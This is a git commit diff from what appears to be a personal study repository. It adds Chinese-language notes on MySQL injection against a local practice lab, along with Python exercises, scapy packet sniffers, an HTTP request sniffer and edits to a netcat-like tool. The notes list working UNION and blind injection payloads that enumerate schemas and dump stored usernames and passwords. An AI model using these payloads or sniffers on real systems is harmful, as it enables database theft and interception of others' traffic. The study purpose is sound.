From: acevest Date: Sat, 3 Oct 2015 10:41:08 +0000 (+0800) Subject: add mysqlinjection.md X-Git-Url: http://zhaoyanbai.com/repos/%22http:/www.isc.org/icons/zpipe.c?a=commitdiff_plain;h=9f6dee7ac57fbd7caa4f1d5b569879f0609c256e;p=acecode.git add mysqlinjection.md --- diff --git a/.gitignore b/.gitignore index 18789f4..d36b95c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,5 @@ *.pyc ish *.DS_Store +*.swp +dvwa diff --git a/documents/MySQLInjection.md b/documents/MySQLInjection.md new file mode 100644 index 0000000..524d857 --- /dev/null +++ b/documents/MySQLInjection.md @@ -0,0 +1,100 @@ +#MYSQL注入笔记 +##判断注入类型 +设数据库```security```里有如下```users```表。 + +``` +mysql> desc users; ++----------+-------------+------+-----+---------+----------------+ +| Field | Type | Null | Key | Default | Extra | ++----------+-------------+------+-----+---------+----------------+ +| id | int(3) | NO | PRI | NULL | auto_increment | +| username | varchar(20) | NO | | NULL | | +| password | varchar(20) | NO | | NULL | | ++----------+-------------+------+-----+---------+----------------+ +3 rows in set (0.00 sec) +``` +大致PHP代码如下 + +``` +"; + echo 'Your Password:' .$row['password']; + } else { + print_r(mysql_error()); + } +} else { + echo "Please input the ID as parameter with numeric value"; +} +?> +``` + +###1. 文本型 +```SELECT * FROM users WHERE id='$id' LIMIT 0,1;``` + +提交```?id=1' AND '1'='1```和```?id=1' AND '1'='2```来判断。 +###2. 数字型 +```SELECT * FROM users WHERE id=$id LIMIT 0,1;``` + +提交```?id=1 AND 1=1```和```?id=1 AND 1=2```来判断。 +##构造注入SQL + +###1. 猜解字段数 + +通过``` UNION ALL SELECT NULL```中的```NULL```来猜解表的字段数,例如对于```users```表采用```SELECT *```的话就需要把SQL构造成``` UNION ALL SELECT NULL, NULL, NULL#```,如果采用```SELECT username, password```就只需要``` UNION ALL SELECT NULL, NULL#```就能判断出了。因此如果程序中写的不是```SELECT *```的话,猜解出来的字段数与实际可能不太一样。 + +###1. 获取MySQL信息 + +如果想要获取数据库的一些信息可以利用已经显示出来的字段,在构造注入代码的时候将这些信息替换到已经显示的字段里。 + +例如对于```SELECT * FROM users WHERE id=1```,得到 + +``` ++----+----------+----------+ +| id | username | password | ++----+----------+----------+ +| 1 | Dumb | Dumb | ++----+----------+----------+ +1 row in set (0.00 sec) +``` + +对于```SELECT * FROM users WHERE id=1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```,还是得到一样的结果。说好的数据库信息呢? + +``` ++------+----------+----------+ +| id | username | password | ++------+----------+----------+ +| 1 | Dumb | Dumb | ++------+----------+----------+ +1 row in set (0.00 sec) +``` + +所以还要对```SQL```语句稍加改造```SELECT * FROM users WHERE id=-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```就可以得到想要的结果 + +``` ++------+----------------+----------+ +| id | username | password | ++------+----------------+----------+ +| NULL | root@localhost | NULL | ++------+----------------+----------+ +1 row in set (0.00 sec) +``` +因此如果网页上展示了username,那么就能直接得到当前连接数据库的用户名。因此我们提交的构造代码关键部分为```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL```。另外需要注意的是构造出来的字段数要与原始正常```SQL```字段数相同。 + +* 获取当前连接数据库的用户名 ```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL``` +* 获取当前数据库的名字 ```-1 UNION ALL SELECT NULL, DATABASE(), NULL``` +* 获取当前数据库的版本号 ```-1 UNION ALL SELECT NULL, VERSION(), NULL``` +* 获取当前服务器上数据库数量 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.SCHEMATA), NULL``` +* 如果不能直接通过网页得到数据库数量,可以通过```1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),CHAR(32)) FROM information_schema.SCHEMATA),1,1)) > ord('1') ```来猜解。 +* 猜解表名```1 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0,1),1,1)) > ord('a')``` 当猜解的字母的值只有```>=0```成功时,表示该表名猜解完成。(其中```LIMIT x,y```中```x```表示从第几条记录开始查询,```y```表示最多要查询多少条记录)。通过变动```MID```和```LIMIT```的参数就可以把所有表名猜解完。 +* 猜解表的字段数 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.COLUMNS where table_name='users' AND table_schema='security'), NULL``` 或 ```-1 UNION ALL SELECT NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)), NULL FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121)``` +* 逐个猜解字段 ```-1 UNION ALL SELECT NULL, CONCAT(column_name, ' ', column_type), NULL FROM information_schema.COLUMNS where table_name='users' AND table_schema='security' LIMIT 0,1``` 或 ```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(column_name AS CHAR),CHAR(32)), ' ', IFNULL(CAST(column_type AS CHAR),CHAR(32))) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121) LIMIT 0,1``` +* 猜解记录数```-1 UNION ALL SELECT NULL, NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)) FROM security.users``` +* 逐个获取字段```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(id AS CHAR),CHAR(32)), ' ',IFNULL(CAST(username AS CHAR),CHAR(32)), ' ', IFNULL(CAST(password AS CHAR),CHAR(32))) FROM security.users LIMIT 0,1``` diff --git a/learn/python/OptParse.py b/learn/python/OptParse.py index 39bfe43..a75a22d 100755 --- a/learn/python/OptParse.py +++ b/learn/python/OptParse.py @@ -7,6 +7,7 @@ # ------------------------------------------------------------------------ # -*- coding: utf-8 -*- +# python已经不再更新本库,可以改用argparse import optparse def main() : diff --git a/learn/python/decorator.py b/learn/python/decorator.py new file mode 100755 index 0000000..a1871d8 --- /dev/null +++ b/learn/python/decorator.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: decorator.py +# Author: Zhao Yanbai +# Fri Oct 2 19:00:55 2015 +# Description: 装饰器 +# ------------------------------------------------------------------------ + +import time +import functools + +def now() : + print time.asctime() + +######################## +def now0() : + now() + +now0() +print now0.__name__ + + +######################## +def log1(func) : + def wrapper1(*args, **kw) : + print '[This is the decorator] > ', + return func(*args, **kw) + return wrapper1 + +@log1 +def now1() : + now() + +now1() +print now1.__name__ + +######################## +def log2(param) : + # 先实现处理传入参数的函数 + # 再实现装饰器 + def decorator(func) : + def wrapper2(*args, **kw) : + print '[This is the parameter {0}] >'.format(param), + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper2 + return decorator + +@log2('LOG2') #等价于 log2('LOG2')(now2) +def now2() : + now() + +now2() +print now2.__name__ + + + +######################## +# 让装饰器不影响函数名字 +def log3(func) : + @functools.wraps(func) + def wrapper3(*args, **kw) : + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper3 + +@log3 +def now3() : + now() + +now3() +print now3.__name__ diff --git a/learn/python/func.py b/learn/python/func.py index a197999..304dfd3 100755 --- a/learn/python/func.py +++ b/learn/python/func.py @@ -77,6 +77,48 @@ print "before swap a =", a, "b =", b; swap(a, b); print "after swap a =", a, "b =", b; + + + +# 可变参数声明形式是是在参数前面加上'*' +def Sum(*num) : + s = 0 + for n in num : + s += n + return s + + +print Sum(1, 2, 3, 4, 5, 6) + +# 如果想把一个list or tuple当多个参数传进去只需要在list or tuple前加'*' +para = [i for i in range(0, 101)] +print Sum(*para) +para = (1, 2, 3) +print Sum(*para) + + +# 两个'*'表示可变关键字参数 +def ListParam(name, age, **kw) : + print 'name:', name, 'age:', age, 'other:', kw + +ListParam('Name.Ace', 99) +ListParam('Name.Bob', 7, city='Beijing') +ListParam('Name.Ada', 24, city='Shenzhen', gender='F', job='Engineer') +kw = {'city' : 'Chengdu', 'job' : 'IT', 'gender' : 'M'} +ListParam('Name.Jack', 9, **kw) + + +def Param(a, b, c=0, *args, **kw) : + print 'a=', a, 'b=', b, 'c=', c, 'args=', args, 'kw=', kw + +Param(1, 2) +Param(1, 2, c=3) +Param(1, 2, 3) +Param(1, 2, 3, 'a', 'b') +Param(1, 2, 3, 'a', 'b', 'c') +Param(1, 2, 3, 'a', 'b', 'c', pa='va', pb='vb') +Param(1, 2, *para, **kw) + # DocString def docstring_func(x): '''Print x. @@ -86,6 +128,6 @@ def docstring_func(x): docstring_func(1); print docstring_func.__doc__; -help(docstring_func); +#help(docstring_func); diff --git a/learn/python/image.py b/learn/python/image.py index cd3b316..7699a3e 100755 --- a/learn/python/image.py +++ b/learn/python/image.py @@ -8,6 +8,7 @@ # -*- coding: utf-8 -*- class Image : def __init__(self, width, height, filename="", background="#FFFFFF") : + # 以'__'开头的变量名为私有成员变量 self.__width = width self.__height = height self.__filename = filename diff --git a/learn/python/list.py b/learn/python/list.py index b763e77..856c021 100755 --- a/learn/python/list.py +++ b/learn/python/list.py @@ -20,6 +20,7 @@ L.sort() print L L.reverse() print L +print L[-1] def printLine(): print "-"*80 @@ -73,7 +74,22 @@ print L def sum(l) : def add(x, y) : return x+y return reduce(add, l, 0) + +def trans(l) : + def mul(x, y) : return x*10 + y + return reduce(mul, l) print "Sum of L is:", sum(L) +L = L[:9] +print L +print "Translate L to:", trans(L) + +print "Filter" +def isOdd(n) : + return n % 2 == 0 + +L = filter(isOdd, L) +print L + printLine() L = [" abc", "DE ", " FG ", " hi jkl "] @@ -98,3 +114,9 @@ for x in range(len(a)) : a += b print a + + +# 按下标循环 +print L +for i, v in enumerate(L) : + print i, v diff --git a/learn/python/mul.py b/learn/python/mul.py new file mode 100755 index 0000000..9981697 --- /dev/null +++ b/learn/python/mul.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: mul.py +# Author: Zhao Yanbai +# Thu Oct 1 15:10:27 2015 +# Description: none +# ------------------------------------------------------------------------ + +for j in range(1, 10) : + for i in range(1, 10) : + if i>j : + continue + print "{0}*{1}={2:<2d}\t".format(i, j, i*j), + print "" diff --git a/learn/python/scapy.0.py b/learn/python/scapy.0.py new file mode 100755 index 0000000..0f0d2c4 --- /dev/null +++ b/learn/python/scapy.0.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.0.py +# Author: Zhao Yanbai +# Thu Oct 1 11:19:02 2015 +# Description: none +# ------------------------------------------------------------------------ +import scapy +import scapy.all + + diff --git a/learn/python/scapy.1.py b/learn/python/scapy.1.py new file mode 100755 index 0000000..52da342 --- /dev/null +++ b/learn/python/scapy.1.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.1.py +# Author: Zhao Yanbai +# Sun Sep 27 11:12:24 2015 +# Description: none +# ------------------------------------------------------------------------ + +from scapy.all import * + +def packet_callback(packet) : + print packet.show() + +scapy.all.sniff(filter='tcp', prn=packet_callback, store=0) diff --git a/learn/python/str.py b/learn/python/str.py index adc6ee1..606d3ab 100755 --- a/learn/python/str.py +++ b/learn/python/str.py @@ -52,3 +52,13 @@ Google = 2 Microsoft = 3 print "{Apple} {Google} {Microsoft}".format(**locals()) +#r'' 表示''内的内容不用转义 +print r'a\nb\tc' +print r"a\n'b\tc" + +print r'''abc +c\tefghijlk\nfff +ffff''' + +print ord('A') +print chr(65) diff --git a/learn/python/urllib.0.py b/learn/python/urllib.0.py new file mode 100755 index 0000000..b93cd57 --- /dev/null +++ b/learn/python/urllib.0.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: urllib.0.py +# Author: Zhao Yanbai +# Thu Oct 1 12:15:20 2015 +# Description: none +# ------------------------------------------------------------------------ +import urllib +import urllib2 +import urlparse + +url = "http://192.168.1.101:8080/sqli/Less-1/index.php?id=1" + +print urlparse.urlsplit(url) + +request = urllib2.Request(url) +response = urllib2.urlopen(request) + + +print response.read() + +response.close() diff --git a/learn/python/utils.py b/learn/python/utils.py index 09e6a2e..9dd28ab 100755 --- a/learn/python/utils.py +++ b/learn/python/utils.py @@ -1,15 +1,21 @@ #!/usr/bin/env python +# -*- coding: utf-8 -*- # ------------------------------------------------------------------------ # File Name: utils.py # Author: Zhao Yanbai # Sat Apr 28 18:56:52 2012 # Description: none # ------------------------------------------------------------------------ -# -*- coding: utf-8 -*- import os +import collections print('HOME:\t' + os.getenv('HOME')) print('PATH:\t' + os.getenv('PATH')) print('PWD:\t' + os.getenv('PWD')) print('OLDPWD:\t' + os.getenv('OLDPWD')) + +#判断一个对象是否可以迭代 +print isinstance('0xACE', collections.Iterable) +print isinstance([1, 2, 3, 4], collections.Iterable) +print isinstance(0xACE, collections.Iterable) diff --git a/tools/AceBox/AceBox.xcodeproj/project.pbxproj b/tools/AceBox/AceBox.xcodeproj/project.pbxproj index 4d1edc2..cf18b9f 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.pbxproj +++ b/tools/AceBox/AceBox.xcodeproj/project.pbxproj @@ -417,6 +417,7 @@ 50A4F2981AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; 50A4F2991AF2154100DB7E36 /* Build configuration list for PBXNativeTarget "AceBoxTests" */ = { isa = XCConfigurationList; @@ -425,6 +426,7 @@ 50A4F29B1AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout index 97be529..7a2852c 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout +++ b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout @@ -7,21 +7,21 @@ IDESourceControlProjectIdentifier A1372EDB-125D-4A73-9AE8-955FA3D42EAE IDESourceControlProjectName - project + AceBox IDESourceControlProjectOriginsDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectPath - tools/AceBox/AceBox.xcodeproj/project.xcworkspace + tools/AceBox/AceBox.xcodeproj IDESourceControlProjectRelativeInstallPathDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 ../../../.. IDESourceControlProjectURL - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectVersion 111 IDESourceControlProjectWCCIdentifier diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate index dd6cba7..06b1c0f 100644 Binary files a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate and b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate differ diff --git a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib index df50262..903d8cb 100644 --- a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib +++ b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib @@ -1,5 +1,5 @@ - + @@ -12,7 +12,7 @@ + + + + + + + @@ -31,7 +38,10 @@ + + + diff --git a/tools/AceBox/AceBox/Base.lproj/Main.storyboard b/tools/AceBox/AceBox/Base.lproj/Main.storyboard index 8f5b4fa..346d151 100644 --- a/tools/AceBox/AceBox/Base.lproj/Main.storyboard +++ b/tools/AceBox/AceBox/Base.lproj/Main.storyboard @@ -1,7 +1,7 @@ - + - + @@ -13,18 +13,18 @@ - + diff --git a/tools/comm/countc.c b/tools/comm/countc.c index 1b978fc..41c6e35 100644 --- a/tools/comm/countc.c +++ b/tools/comm/countc.c @@ -91,6 +91,8 @@ void count_file(char *path) && !valid_type(path,"py") && !valid_type(path,"go") && !valid_type(path,"php") + && !valid_type(path,"asp") + && !valid_type(path,"jsp") && !valid_type(path,"swift") ) { diff --git a/tools/hack/ant.py b/tools/hack/ant.py index 101edf3..456fcb0 100755 --- a/tools/hack/ant.py +++ b/tools/hack/ant.py @@ -151,22 +151,20 @@ def ParseArguments() : parser.add_argument('-u', '--udp', action='store_true', help='Use UDP instead of TCP') parser.add_argument('-k', '--keepopen', action='store_true', help='Accept multiple connections in listen mode') parser.add_argument('-d', '--debug', action='store_true', help='Debug mode') - parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.2') gArgs = parser.parse_args() - - if gArgs.shell and gArgs.execute != '' : - Print("parameter error: -s or -e") - sys.exit() - - if gArgs.listen : - ServerEntry() - else : - ClientEntry() - def main() : try : ParseArguments() + if gArgs.shell and gArgs.execute != '' : + Print("parameter error: -s or -e") + sys.exit() + + if gArgs.listen : + ServerEntry() + else : + ClientEntry() except KeyboardInterrupt, e: Print("\n[!] User force to quit.") diff --git a/tools/hack/app.py b/tools/hack/app.py new file mode 100755 index 0000000..0686c34 --- /dev/null +++ b/tools/hack/app.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: app.py +# Author: Zhao Yanbai +# Tue Sep 29 10:27:23 2015 +# Description: AceVest Packet Peeper +# ------------------------------------------------------------------------ + +import os +import sys +import argparse +import scapy.all +import netaddr +import re +import urllib +import urllib2 +import BaseHTTPServer + +gArgs = None + +def ParseArguments() : + global gArgs + parser = argparse.ArgumentParser(prog='app', description='AceVest Packet Peeper', epilog='') + parser.add_argument('-i', '--iface', action='store', default='any', help='peeper interface') + parser.add_argument('-f', '--filter', action='store', default='', help='filter string') + parser.add_argument('-c', '--count', action='store', default='0', help='peeper packet count') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') + gArgs = parser.parse_args() + + +class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler) : + def __init__(self, request) : + self.raw_requestline = request + self.parse_request() + + +def DoHttpHeader(s, port) : + lines = s.split('\r\n') + path = None + host = None + + for l in lines : + if l[:4] == 'GET ' : + path = l.split()[1] + if l[:5] == 'Host:' : + host = l.split()[1] + + print host+':'+str(port)+urllib.unquote_plus(path) + +def DoHttp(s, port) : + ''' + print s + print '-'*80 + print urllib2.parse_keqv_list(s) + print '-'*80 + hr = HTTPRequest(s) + print hr + h = BaseHTTPServer.BaseHTTPRequestHandler() + h.raw_requestline = s + h.parse_request() + return + ''' + if s[:4] == 'GET ' or s[:5] == 'POST ' : + DoHttpHeader(s, port) + +def PacketCallback(packet) : + #print packet.show() + if packet['IP'].proto == scapy.all.IP_PROTOS.tcp: + if packet['TCP'].dport in [80, 8080] : + DoHttp(str(packet['TCP'].payload), packet['TCP'].dport) + +def DoPeeper() : + global gArgs + ''' + print gArgs.iface + print gArgs.filter + print gArgs.count + + for ip in netaddr.IPNetwork('192.168.1.1/30') : + print ip + ''' + + scapy.all.sniff(filter=gArgs.filter, iface=gArgs.iface, prn=PacketCallback, count=gArgs.count, store=0) + + +def main() : + try : + ParseArguments() + DoPeeper() + except KeyboardInterrupt, e: + Print("\n[!] User force to quit.") + + +if __name__ == "__main__" : + main()